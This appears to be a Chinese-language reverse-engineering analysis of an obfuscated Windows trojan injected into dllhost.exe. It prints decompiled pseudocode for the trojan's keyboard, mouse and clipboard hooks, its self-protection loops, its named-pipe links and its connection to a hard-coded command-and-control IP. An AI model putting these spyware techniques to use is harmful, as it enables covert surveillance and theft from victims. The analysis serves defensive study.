投放代码

有ollvm+rolror等取值索引函数表的混淆,强混淆的情况下只去关注结果,可以在windows一些常被使用的api下断点,从堆栈调用里面找到调用链线索

载荷

一共有三个可执行段,其中两个RWX一个RX,其中一个RWX是dll反射展开shellcode,另一个是传参调用第一个RWX,所以极有可能载荷一开始加载的地方是直接传参调用,展开dllhost,RX的部分就是主要逻辑代码了

1.RWX 注入的shellcode
2.RWX 传参调用1.RWX
3.RX jmp rax的ollvm混淆+dllhost的主要逻辑
木马.exe -> 2.RWX(1.RWX(RX)) -> 展开RX运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
__int64 (__fastcall **__fastcall DLLMain(__int64 a1))(_QWORD, _QWORD)
{
__int64 (__fastcall **result)(_QWORD, _QWORD); // rax
void (__fastcall *shell32_CommandLineToArgvW)(__int64, int *); // rbx
__int64 CommandLineW; // rax
__int64 *v5; // rdi
_QWORD *v6; // rax
__int64 (__fastcall *PID2Name_1)(); // rbx
int CurrentProcessId; // eax
__int64 Thread_0; // rax
__int64 v10; // rbx
int svchost.exe; // eax
int v12; // ebx
unsigned int _XnfxS.exe_; // eax
__int64 v14; // rax
__int64 v15; // rbx
__int64 DllHost_0; // rax
__int64 v17; // rbx
__int64 Thread; // rax
__int64 v19; // rbx
__int64 DllHost_3; // rax
__int64 v21; // rbx
int v22; // ebx
__int64 (__cdecl *kernel32_lstrcmpiW)(); // rbx
__m128i v24; // xmm1
__m128i v25; // xmm0
__m128i v26; // xmm1
__m128i v27; // xmm0
__m128i _Processid:_F8284233_48F4_4680_ADDD_F8284233_; // xmm1
unsigned int (__cdecl *kernel32_lstrcmpiW_1)(); // rbx
__m128i v30; // xmm1
__m128i v31; // xmm0
__m128i v32; // xmm1
__m128i v33; // xmm0
__m128i _Processid:_F8284233_48F4_4680_ADDD_F8284233__2; // xmm1
int v35; // ebx
__m128i v36; // [rsp+30h] [rbp-D0h] BYREF
__m128i Schedule; // [rsp+40h] [rbp-C0h]
__m128i v38; // [rsp+50h] [rbp-B0h] BYREF
__m128i v39; // [rsp+60h] [rbp-A0h]
__m128i v40; // [rsp+70h] [rbp-90h]
__m128i v41; // [rsp+80h] [rbp-80h]
__m128i v42; // [rsp+90h] [rbp-70h]
__m128i v43; // [rsp+A0h] [rbp-60h]
__m128i v44; // [rsp+B0h] [rbp-50h]
__m128i v45; // [rsp+C0h] [rbp-40h]
__m128i v46; // [rsp+D0h] [rbp-30h] BYREF
__m128i v47; // [rsp+E0h] [rbp-20h] BYREF
__m128i v48; // [rsp+F0h] [rbp-10h] BYREF
__m128i v49; // [rsp+100h] [rbp+0h] BYREF
__m128i v50; // [rsp+110h] [rbp+10h] BYREF
__m128i _Processid:_F8284233_48F4_4680_ADDD_F8284233__1; // [rsp+120h] [rbp+20h] BYREF
__int64 v52; // [rsp+130h] [rbp+30h] BYREF
unsigned __int64 v53; // [rsp+138h] [rbp+38h]
unsigned __int64 v54; // [rsp+140h] [rbp+40h]
unsigned __int64 v55; // [rsp+148h] [rbp+48h]
__int64 v56; // [rsp+150h] [rbp+50h]
unsigned __int64 v57; // [rsp+158h] [rbp+58h]
unsigned __int64 v58; // [rsp+160h] [rbp+60h]
unsigned __int64 v59; // [rsp+168h] [rbp+68h]
unsigned __int64 v60; // [rsp+170h] [rbp+70h]
unsigned __int64 v61; // [rsp+178h] [rbp+78h]
unsigned __int64 v62; // [rsp+180h] [rbp+80h]
unsigned __int64 v63; // [rsp+188h] [rbp+88h]
_OWORD NowPrcName[33]; // [rsp+190h] [rbp+90h] BYREF
_BYTE v65[528]; // [rsp+3A0h] [rbp+2A0h] BYREF
_BYTE v66[416]; // [rsp+5B0h] [rbp+4B0h] BYREF
int v67; // [rsp+788h] [rbp+688h] BYREF
int n123; // [rsp+790h] [rbp+690h] BYREF

v67 = 0;
memset();
memset();
GetIp_0(a1);
HookNtdll_0();
result = ws2_32_WSAStartup(514, v66);
if ( !result )
{
shell32_CommandLineToArgvW = ::shell32_CommandLineToArgvW;
CommandLineW = kernel32_GetCommandLineW();
shell32_CommandLineToArgvW(CommandLineW, &v67);
v5 = good_0();
off_180075FE0 = ntdll_RtlInitializeCriticalSection_0();
v6 = ntdll_RtlInitializeCriticalSection_1();
PID2Name_1 = ::PID2Name_1;
off_180075FD8 = v6;
CurrentProcessId = kernel32_GetCurrentProcessId();
(PID2Name_1)(CurrentProcessId, NowPrcName);
v38.m128i_i64[0] = 0x42DF77C878CD539ALL;
v39.m128i_i64[1] = 0xB654CA9D1393258AuLL;
v38.m128i_i64[1] = 0x8989479726B2D34BuLL;
v36.m128i_i64[0] = 0x42BA77A278A353D3LL;
v39.m128i_i64[0] = 0xDF0CCBAC5AFF7C28uLL;
v36.m128i_i64[1] = 0x89DD47B726C6D328uLL;
Schedule.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
Schedule.m128i_i64[1] = 0xB654CA9D1393258AuLL;
v39 = _mm_xor_si128(v39, Schedule);
v38 = _mm_xor_si128(v38, v36);
if ( !kernel32_lstrcmpiW_0(&unk_180075FA8, &v38) )// Inject Test
(*v5)(v5);
Schedule.m128i_i64[1] = 0xB654CA9D1393258AuLL;
v36.m128i_i64[0] = 0x42D677D278DB53B6LL;
v36.m128i_i64[1] = 0x89AF47D226B4D347uLL;
Schedule.m128i_i64[0] = 0xDF69CBA05AE97C63uLL;
v38.m128i_i64[0] = 0x42BA77A278A353D3LL;
v38.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v39.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
v39.m128i_i64[1] = 0xB654CA9D1393258AuLL;
Schedule = _mm_xor_si128(Schedule, v39);
v36 = _mm_xor_si128(v36, v38);
if ( !::kernel32_lstrcmpiW(NowPrcName, &v36) )// explorer.exe
{
while ( 1 )
{
do
{
Thread_0 = kernel32_CreateThread_0(0, 0, DefendAndKeepSelf, v5, 0, 0);
v10 = Thread_0;
}
while ( !Thread_0 );
kernel32_WaitForSingleObject_2(Thread_0, 0xFFFFFFFFLL);
kernel32_CloseHandle_6(v10);
}
}
Schedule.m128i_i64[1] = 0xB654CA9D1393258AuLL;
v36.m128i_i64[0] = 0x42D177D178C253A7LL;
v36.m128i_i64[1] = 0x89F347C526A1D345uLL;
Schedule.m128i_i64[0] = 0xDF0CCBBD5AF47C28uLL;
v38.m128i_i64[0] = 0x42BA77A278A353D3LL;
v38.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v39.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
v39.m128i_i64[1] = 0xB654CA9D1393258AuLL;
Schedule = _mm_xor_si128(Schedule, v39);
v36 = _mm_xor_si128(v36, v38);
if ( !::kernel32_lstrcmpiW_1(NowPrcName, &v36) )// taskmgr.exe
{
HookNtQuerySystemInformation_0();
ntdll_RtlExitUserThread(0);
}
Schedule.m128i_i64[1] = 0xB654CA9D1393258AuLL;
v36.m128i_i64[0] = 0x42DC77D078C653A3LL;
v36.m128i_i64[1] = 0x89F347D926A9D345uLL;
Schedule.m128i_i64[0] = 0xDF0CCBBD5AF47C28uLL;
v38.m128i_i64[0] = 0x42BA77A278A353D3LL;
v38.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v39.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
v39.m128i_i64[1] = 0xB654CA9D1393258AuLL;
Schedule = _mm_xor_si128(Schedule, v39);
v36 = _mm_xor_si128(v36, v38);
if ( !kernel32_lstrcmpiW_2(NowPrcName, &v36) )// perfmon.exe
kernel32_ExitProcess(0);
Schedule.m128i_i64[1] = 0xB654CA9D1393258AuLL;
v36.m128i_i64[0] = 0x42D277C178D553A0LL;
v36.m128i_i64[1] = 0x89F347C326B5D347uLL;
Schedule.m128i_i64[0] = 0xDF0CCBBD5AF47C28uLL;
v38.m128i_i64[0] = 0x42BA77A278A353D3LL;
v38.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v39.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
v39.m128i_i64[1] = 0xB654CA9D1393258AuLL;
Schedule = _mm_xor_si128(Schedule, v39);
v36 = _mm_xor_si128(v36, v38);
svchost.exe = kernel32_lstrcmpiW_3(NowPrcName, &v36);// svchost.exe
v38.m128i_i64[0] = 0x42BA77A278A353D3LL;
v38.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v39.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
v39.m128i_i64[1] = 0xB654CA9D1393258AuLL;
Schedule.m128i_i64[1] = 0xB654CA9D1393258AuLL;
if ( svchost.exe )
{
v36.m128i_i64[0] = 0x42CC77D178D053A5LL;
v36.m128i_i64[1] = 0x89A547D226E8D34BuLL;
Schedule.m128i_i64[0] = 0xDF0CCBD85A8C7C28uLL;
Schedule = _mm_xor_si128(Schedule, v39);
v36 = _mm_xor_si128(v36, v38);
if ( kernel32_lstrcmpiW_0(NowPrcName, &v36) )// vssvc.exe
{
if ( v67 == 1 )
{
kernel32_GetModuleFileNameW(0, v65, 260);
if ( !(ntdll_wcsstr)(v65, aCProgramFilesI) )// "C:\\Program Files\\Internet Explorer\\LpKNj"
ConnectHost_0();
v22 = return64_1();
if ( v22 == GetSys32or64_1() )
{
return psub_18001079C();
}
else
{
MakeDllHost_2();
return kernel32_ExitProcess_2(0);
}
}
else
{
kernel32_lstrcmpiW = kernel32_lstrcmpiW_0;
v40.m128i_i64[0] = 0x42BA77A278A353D3LL;
v42.m128i_i64[0] = 0x7089108629DE33F7LL;
v41.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
v42.m128i_i64[1] = 0xC9FD4D8B89FA5AFCuLL;
v40.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v43.m128i_i64[0] = 0xAAE387BC2AE58C11uLL;
v41.m128i_i64[1] = 0xB654CA9D1393258AuLL;
v43.m128i_i64[1] = 0x838B20410395862EuLL;
v44.m128i_i64[0] = 0xC5D6F79ACE1B3D7BuLL;
v44.m128i_i64[1] = 0xBF9E30CFA3617BB0uLL;
v45.m128i_i64[0] = 0xC822F2B0B9BDAE35uLL;
v45.m128i_i64[1] = 0xAFE933155EC6E212uLL;
v52 = 0x42D577D078F353FCLL;
v53 = 0x89AE47C426A3D34BuLL;
v54 = 0xDF77CBE25AE87C24uLL;
v55 = 0xB66CCAAF13AB25CCuLL;
v56 = 0x70BA10B529EC33C3LL;
v57 = 0xC9BB4DB389CE5AD1uLL;
v58 = 0xAAD587882AC88C25uLL;
v59 = 0x83CA206C03A58616uLL;
v60 = 0xC5FBF7DECE5F3D3FuLL;
v61 = 0xBFA630FDA3597BF6uLL;
v62 = 0xC811F283B98FAE01uLL;
v63 = 0xAFE933155EC6E26FuLL;
RtlCopyMemory(&v46, &v52, 0x60u);
v24 = _mm_xor_si128(_mm_load_si128(&v47), v41);
v46 = _mm_xor_si128(_mm_load_si128(&v46), v40);
v25 = _mm_xor_si128(_mm_load_si128(&v48), v42);
v47 = v24;
v26 = _mm_xor_si128(_mm_load_si128(&v49), v43);
v48 = v25;
v27 = _mm_xor_si128(_mm_load_si128(&v50), v44);
v49 = v26;
_Processid:_F8284233_48F4_4680_ADDD_F8284233_ = _mm_xor_si128(
_mm_load_si128(&_Processid:_F8284233_48F4_4680_ADDD_F8284233__1),
v45);// /Processid:{F8284233-48F4-4680-ADDD-F8284233}
v50 = v27;
_Processid:_F8284233_48F4_4680_ADDD_F8284233__1 = _Processid:_F8284233_48F4_4680_ADDD_F8284233_;
result = kernel32_lstrcmpiW();
if ( !result )
MouseAndKeyboard_0();
if ( v67 > 1 )
{
kernel32_lstrcmpiW_1 = kernel32_lstrcmpiW_2;
v40.m128i_i64[0] = 0x42BA77A278A353D3LL;
v42.m128i_i64[0] = 0x7089108629DE33F7LL;
v40.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v42.m128i_i64[1] = 0xC9FD4D8B89FA5AFCuLL;
v41.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
v43.m128i_i64[0] = 0xAAE387BC2AE58C11uLL;
v43.m128i_i64[1] = 0x838B20410395862EuLL;
v44.m128i_i64[0] = 0xC5D6F79ACE1B3D7BuLL;
v44.m128i_i64[1] = 0xBF9E30CFA3617BB0uLL;
v45.m128i_i64[0] = 0xC822F2B0B9BDAE35uLL;
v45.m128i_i64[1] = 0xAFE933155EC6E212uLL;
v52 = 0x42D577D078F353FCLL;
v53 = 0x89AE47C426A3D34BuLL;
v54 = 0xDF77CBE25AE87C24uLL;
v55 = 0xB66CCAAF13AB25CCuLL;
v56 = 0x70BA10B529EC33C3LL;
v57 = 0xC9BB4DB389CE5AD1uLL;
v58 = 0xAAD587882AC88C25uLL;
v59 = 0x83CA206C03A58616uLL;
v60 = 0xC5FBF7DECE5F3D3FuLL;
v61 = 0xBFA630FDA3597BF6uLL;
v62 = 0xC811F283B98FAE01uLL;
v63 = 0xAFE933155EC6E26FuLL;
v41.m128i_i64[1] = 0xB654CA9D1393258AuLL;
RtlCopyMemory(&v46, &v52, 0x60u);
v30 = _mm_xor_si128(_mm_load_si128(&v47), v41);
v46 = _mm_xor_si128(_mm_load_si128(&v46), v40);
v31 = _mm_xor_si128(_mm_load_si128(&v48), v42);
v47 = v30;
v32 = _mm_xor_si128(_mm_load_si128(&v49), v43);
v48 = v31;
v33 = _mm_xor_si128(_mm_load_si128(&v50), v44);
v49 = v32;
_Processid:_F8284233_48F4_4680_ADDD_F8284233__2 = _mm_xor_si128(
_mm_load_si128(&_Processid:_F8284233_48F4_4680_ADDD_F8284233__1),
v45);// /Processid:{F8284233-48F4-4680-ADDD-F8284233}
v50 = v33;
_Processid:_F8284233_48F4_4680_ADDD_F8284233__1 = _Processid:_F8284233_48F4_4680_ADDD_F8284233__2;
if ( !kernel32_lstrcmpiW_1() )
MouseAndKeyboard_1();
v35 = return64_2();
if ( v35 == GetSys32or64_2() )
{
return psub_18001079C_0();
}
else
{
MakeDllHost_3();
return kernel32_ExitProcess_3(0);
}
}
}
}
else
{
do
{
while ( 1 )
{
DllHost_3 = MakeDllHost_3();
v21 = DllHost_3;
if ( DllHost_3 )
break;
kernel32_Sleep_0(1000);
}
kernel32_WaitForSingleObject_3(DllHost_3, 0xFFFFFFFFLL);
n123 = 0;
result = kernel32_GetExitCodeProcess_0(v21, &n123);
}
while ( n123 != 123 );
}
}
else
{
v36.m128i_i64[0] = 0x42DF77CA78C05380LL;
v36.m128i_i64[1] = 0x89B847DB26B3D34CuLL;
Schedule.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
v36 = _mm_xor_si128(v36, v38);
Schedule = _mm_xor_si128(Schedule, v39); // Schedule
v12 = Name2SCMID_2(&v36);
if ( v12 != kernel32_GetCurrentProcessId_1() )
{
while ( 1 )
{
do
{
Thread = kernel32_CreateThread(0, 0, DefendAndKeepSelf, v5, 0, 0);
v19 = Thread;
}
while ( !Thread );
kernel32_WaitForSingleObject_1(Thread, 0xFFFFFFFFLL);
kernel32_CloseHandle_7(v19);
}
}
_XnfxS.exe_ = Name2PID_0(aXnfxsExe); // "XnfxS.exe"
if ( _XnfxS.exe_ )
{
v14 = kernel32_OpenProcess_0(0x1FFFFF, 0, _XnfxS.exe_);
v15 = v14;
if ( v14 )
{
kernel32_TerminateProcess(v14, 0);
kernel32_CloseHandle_6(v15);
}
}
do
{
while ( 1 )
{
DllHost_0 = MakeDllHost_0();
v17 = DllHost_0;
if ( DllHost_0 )
break;
kernel32_Sleep(1000);
}
kernel32_WaitForSingleObject_0(DllHost_0, 0xFFFFFFFFLL);
n123 = 0;
result = kernel32_GetExitCodeProcess(v17, &n123);
}
while ( n123 != 123 );
}
}
return result;
}

最终载荷

dllhost.exe

可以通过定位注入时候的基地址然后附加提前下好断点,然后调试

先是一段RC4解密+自展开代码,然后调用展开后的PE

先经过一些初始化之后就是dllmain

前面是链接性的初始化

这部分是有自我防御性质的代码

检验过最后的进程id后,进入业务代码,获取进程id,为kernelThread的a1参数new kernelmanager

先看KernelManager_0

内部实现其实是在装载函数然后返回函数表

进入KernelThread,这里面还有一个kernelManager,这两个kernalManager实现的功能有差异,传入参数a1的kernelManager更偏向用户态,如文件操作,屏幕操作等

另一个KernelManager的主体功能主要在系统上,尤其是SysManager,里面细分了Logs,服务,驱动,注入,windows版本信息等

那么先看系统的KernelManager调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 KeyBoardManager()
{
__int64 v0; // rax
__m128i v1; // xmm0
__m128i v2; // xmm0
__int64 v3; // rax
__int64 v4; // rbx
__int64 v6; // rax
__m128i v7; // [rsp+60h] [rbp-9h] BYREF
__m128i static; // [rsp+70h] [rbp+7h] BYREF
__m128i v9; // [rsp+80h] [rbp+17h] BYREF
_BYTE v10[48]; // [rsp+90h] [rbp+27h] BYREF
unsigned int v11; // [rsp+D0h] [rbp+67h] BYREF

v11 = 0;
v0 = (kernel32_CreateThread)(0, 0, sub_180017E50, 0, 0, &v11);
if ( v0 )
RtlSetAllBits(off_180075FE8, v11, v0);
static.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v7.m128i_i64[1] = 0x89DD47B726C6D328uLL;
static.m128i_i64[0] = 0x42BA77A278A353D3LL;
v7.m128i_i64[0] = 0x42BA77A278A353D3LL;
v1 = v7;
v7.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v7.m128i_i64[0] = 0x42BA77A278A353D3LL;
v2 = _mm_xor_si128(v1, static);
static.m128i_i64[0] = 0x42CE77C378D753A0LL;
static.m128i_i64[1] = 0x89DD47B726A5D341uLL;
v9 = v2;
static = _mm_xor_si128(static, v7); // static
v3 = (user32_CreateWindowExW)(0, &static, &v9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x42BA77A278A353D3LL, 0x89DD47B726C6D328uLL);
v4 = v3;
if ( !v3 )
return kernel32_GetLastError();
(user32_SetWindowLongPtrW)(v3, 4294967292LL, HookKeyboard);
v7.m128i_i64[0] = 0x10000060001LL;
v7.m128i_i64[1] = v4;
if ( !(user32_RegisterRawInputDevices)(&v7, 1, 16) && kernel32_GetLastError() )
{
v6 = (kernel32_GetModuleHandleA)(0);
qword_180076018 = (user32_SetWindowsHookExW)(13, sub_180017970, v6);
}
while ( (user32_GetMessageW)(v10, 0, 0, 0) )
{
(user32_TranslateMessage)(v10);
(user32_DispatchMessageW)(v10);
}
if ( qword_180076018 )
(user32_UnhookWindowsHookEx)();
return 0;
}

创建一个线程a -> 创建一个隐藏窗口 -> 挂全局键盘钩子

|———-> 线程a 创建一个剪贴板钩子

好,我们回到用户态KernelManager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall MouseManager(__int64 *a1)
{
int v2; // eax
bool v3; // zf
__int128 v5; // [rsp+20h] [rbp-28h] BYREF
__int64 v6; // [rsp+30h] [rbp-18h]

v5 = 0;
LODWORD(v5) = 24;
v6 = 0;
(user32_GetCursorInfo)(&v5);
(user32_GetCursorPos)(&qword_180076068);
v2 = (kernel32_GetTickCount)();
v3 = *(a1 + 6) == 0;
dword_180076058 = v2;
if ( v3 )
return (a1[10])(a1);
a1[2] = (kernel32_OpenProcess)(0x1FFFFF, 0, *(a1 + 2));
return (a1[9])(a1);
}

一开始挂了一个鼠标钩子,再加上前面的两个函数,鼠标 键盘 剪贴板就都被监听了

然后判断a1[6]决定结果,而参数a1正是用户态的KernelManager v12 = 0; *(v2 + 6) = v12;

一开始是被赋值0的,那么就是顺着调用a1[9]

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall CreateThreadByFunc20(__int64 *a1)
{
__int64 Thread; // rax

Thread = kernel32_CreateThread(0, 0, a1[20], a1, 0, 0);
if ( Thread )
kernel32_CloseHandle_2(Thread);
if ( !(kernel32_WaitForSingleObject)(a1[2], 0xFFFFFFFFLL) )
kernel32_ExitProcess_4(0);
return 0;
}

直接调用a1[20],然后等待响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
v1 = a1[5];
ProcessId = 0;
v3 = (kernel32_GetCurrentProcessId)();
(kernel32_ProcessIdToSessionId)(v3, &ProcessId);
memset();
v4 = *(a1 + 2);
v11.m128i_i64[1] = 0xB654CA9D1393258AuLL;
v9.m128i_i64[1] = 0xC9FD4D8B89FA5AFCuLL;
v12.m128i_i64[0] = 0x7089108629DE33F7LL;
v10.m128i_i64[0] = 0x42BA77A278A353D3LL;
v7.m128i_i64[0] = 0x42E6778C78FF538FLL;
v10.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v7.m128i_i64[1] = 0x89B847C726AFD378uLL;
v8.m128i_i64[0] = 0xDF53CBBC5AA97C11uLL;
v8.m128i_i64[1] = 0xB631CAED13FA25FAuLL;
v9.m128i_i64[0] = 0x7089108629BA33D2LL;
v11.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
v12.m128i_i64[1] = 0xC9FD4D8B89FA5AFCuLL;
v9 = _mm_xor_si128(v9, v12);
v7 = _mm_xor_si128(v7, v10);
v8 = _mm_xor_si128(v8, v11); // \\.\Pipe\%d_pipe%d
(wsprintfW)(v13, &v7, v4, ProcessId);
if ( (*v1)(v1, v13) )
kernel32_ExitProcess_4(0);

先解密字符串,这里就是将管道通信需要的字符串设置好,然后调用a1[5][0]

不难猜测是连接,连接失败退出,那么先往后看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
memset();
v5 = *(a1 + 2);
v12.m128i_i64[1] = 0xC9FD4D8B89FA5AFCuLL;
v8.m128i_i64[1] = 0xB654CA9D1393258AuLL;
v9.m128i_i64[0] = 0x7089108629DE33F7LL;
v10.m128i_i64[0] = 0x42E6778C78FF538FLL;
v10.m128i_i64[1] = 0x89B847C726AFD378uLL;
v11.m128i_i64[0] = 0xDF53CBBC5AA97C11uLL;
v11.m128i_i64[1] = 0xB635CAFE13FC25C6uLL;
v12.m128i_i64[0] = 0x70ED10A32981339BLL;
v7.m128i_i64[0] = 0x42BA77A278A353D3LL;
v7.m128i_i64[1] = 0x89DD47B726C6D328uLL;
v8.m128i_i64[0] = 0xDF0CCBD85A8C7C4DuLL;
v9.m128i_i64[1] = 0xC9FD4D8B89FA5AFCuLL;
v12 = _mm_xor_si128(v12, v9);
v10 = _mm_xor_si128(v10, v7);
v11 = _mm_xor_si128(v11, v8); // \\.\Pipe\%d_Local_%d
wvsprintfW_2(v14, &v10, v5, ProcessId, 2023969747);
if ( (*(qword_180076120 + 8))(qword_180076120, v14) )
kernel32_ExitProcess_1(0);

qword_180076120 = ConnectManager();

第二个是尝试通过命名管道连接到本地某个服务,也是失败退出

1
2
3
4
5
6
7
v6 = new_malloc_4();
while ( (kernel32_WaitForSingleObject)(a1[2], 2000) )
{
if ( !(v1)[2](v1, v6) )
(a1[16])(a1, v6);
}
kernel32_ExitProcess(0);

最后都连接结束后,等待客户端消息,如果有消息,先用(v1)[2]处理,前文有v1 = a1[5],这里的(v1)[2]实际上是a1[5]里面的2函数

整理思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall GetConnectObj(__int64 a1, __int64 a2)
{
__int64 v4; // rdx
__int64 v5; // rcx
__int64 v6; // rax
__int64 v7; // rbx
__int64 v8; // rcx
unsigned int v10; // [rsp+40h] [rbp+8h] BYREF
unsigned int v11; // [rsp+50h] [rbp+18h] BYREF

v10 = 0;
if ( !(kernel32_PeekNamedPipe)(*(a1 + 40), 0, 0, 0, &v10, 0) )
return kernel32_GetLastError(v5, v4);
if ( !v10 )
return kernel32_GetLastError(v5, v4);
v6 = (kernel32_VirtualAlloc)(0, v10, 4096, 4);
v7 = v6;
if ( !v6 )
return kernel32_GetLastError(v5, v4);
v8 = *(a1 + 40);
v11 = 0;
if ( (kernel32_ReadFile)(v8, v6, v10, &v11, 0) )
(*(a2 + 40))(a2, v7, v11);
(kernel32_VirtualFree)(v7, 0, 0x8000);
if ( (kernel32_FlushFileBuffers)(*(a1 + 40)) )
return 0;
else
return kernel32_GetLastError(v5, v4);
}

这里把客户端消息加载在a2也就是前文的v6里面,然后去调用a1[16]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall ToTask_4(__int64 *a1, __int64 *a2)
{
int v4; // eax

if ( (a2[6])(a2) < 0x38 )
{
(a2[3])(a2);
}
else
{
v4 = _mm_cvtsi128_si32(_mm_srli_si128(*((a2[7])(a2, 0) + 32), 4));
switch ( v4 )
{
case 3:
(a1[17])(a1, a2);
break;
case 0x2008:
(a1[18])(a1, a2);
break;
case 0x4000:
(a1[19])(a1, a2);
break;
}
}
return 0;
}

这里a2是一个信号的类,根据信号去调用17 18 19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
__int64 __fastcall KernelManager17(__int64 *a1, __int64 a2)
{
int v4; // eax
int n2; // ecx
__int64 v6; // r8
_OWORD v8[3]; // [rsp+50h] [rbp-B0h] BYREF
__int64 v9; // [rsp+80h] [rbp-80h]
_BYTE v10[256]; // [rsp+90h] [rbp-70h] BYREF
unsigned __int16 v11; // [rsp+190h] [rbp+90h]

if ( (*(a2 + 48))(a2) >= 56 )
{
memset(v8, 0, sizeof(v8));
v9 = 0;
(*(a2 + 32))(a2, v8);
if ( (*(a2 + 48))(a2) == 0xA88 )
{
memset();
(*(a2 + 32))(a2, v10, 0xA88);
if ( kernel32_lstrcmpiW() )
{
if ( kernel32_lstrcmpiW() )
{
v4 = kernel32_lstrcmpiW();
n2 = ::n2;
if ( !v4 )
n2 = 2;
::n2 = n2;
}
else
{
::n2 = 0;
}
}
else
{
::n2 = 1;
}
v6 = a1[21];
18_166_198_135_ = v10; // "18.166.198.135"
dword_180076010 = v11;
kernel32_CreateThread(0, 0, v6, a1, 0, 0);
}
}
return 0;
}
__int64 __fastcall KernelManager21(__int64 *a1)
{
(a1[10])();
return 0;
}
__int64 __fastcall KernelManager10(__int64 *a1)
{
__int64 *v2; // rax
__int64 *v3; // rbx
__int64 v4; // r8
__int64 v5; // rdi
_QWORD *v6; // rsi

v2 = ManagerInit(n2);
v3 = v2;
if ( v2 )
{
v4 = a1[8];
a1[6] = v2;
(v2[9])(v2, a1, v4);
if ( (*v3)(
v3[14],
18_166_198_135_, // "18.166.198.135"
dword_180076010) )
{
LABEL_10:
RtlFreeAndCleanup(v3);
return 0;
}
if ( (a1[11])(v3) )
{
LABEL_9:
(v3[3])(v3);
goto LABEL_10;
}
v5 = alloc(56);
if ( v5 )
{
v6 = new_malloc_1();
if ( !(v3[5])(v3, v5, v6, 0xFFFFFFFFLL) && v6 )
free_3(v6);
msvcrt_free(v5);
goto LABEL_9;
}
}
return 0;
}

作用大概是给21做连接,然后21直接调用a1[10],里面用到v2[9],实现如下

1
2
3
4
5
void __fastcall Make11a22(__int64 *a1, __int64 a2, __int64 a3)
{
a1[11] = a3;
a1[22] = a2;
}

所以这里的结果就是,

v2[11] = a1[8];

v2[22] = a1;

然后调用a1[11],注意参数是v2了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall KernelManager11(__int64 *a1)
{
unsigned int v2; // eax
_QWORD *v3; // rsi
__int64 (__fastcall *v4)(__int64 *, __int64, _QWORD); // rdi
unsigned int v5; // ebx
__int64 v6; // rax
unsigned int v7; // ebx
_OWORD v9[2]; // [rsp+20h] [rbp-40h] BYREF
__int128 v10; // [rsp+40h] [rbp-20h]
__int64 v11; // [rsp+50h] [rbp-10h]
int v12; // [rsp+80h] [rbp+20h] BYREF

v12 = 0;
v2 = (kernel32_GetCurrentProcessId)();
(kernel32_ProcessIdToSessionId)(v2, &v12);
v3 = new_malloc_6();
(v3[3])(v3);
v11 = 0x207202400000000LL;
v10 = 0;
memset(v9, 0, sizeof(v9));
*(&v10 + 4) = 0x400000003LL;
